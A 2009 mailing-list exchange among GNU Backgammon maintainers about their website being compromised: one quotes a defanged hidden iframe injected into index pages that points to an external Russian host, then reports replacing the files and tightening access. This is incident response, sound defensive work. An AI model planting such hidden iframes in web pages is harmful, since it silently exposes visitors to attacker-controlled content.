Re: [Bug-gnubg] Fwd: Malware notification regarding gnubg.org

[mailinglists]

On Sat, Aug 15, 2009 at 5:51 AM, <address@hidden> wrote:

Hi again,

I just did a quick check at the webpage. The file index.php contains the line

<i_frame src="" href="http://39t.ru:8080/index.php" target="_blank">http://39t.ru:8080/index.php" width=103 height=140
style="visibility: hidden"></i_frame>

Note: I had to change the tag to" i_frame" because the otherwise would not be send. At first glance no other files or directories are hurt but Oytsein and I probably need to take a deeper look.

Ciao

Achim

Ok, it looks like all index.php and index.(s)html files were affected. I found the same or a similar tag in all of them. They are exchanged now. No other malware hidden in the directories. I also secured the webpage with a new .htaccess file. But I'm still not sure were the hole is located.

Perhaps we should discuss everything else in PM from now on (Michael, Oystein, Christian, Massimiliano?) <--- Did I forget someone?

Ciao

Achim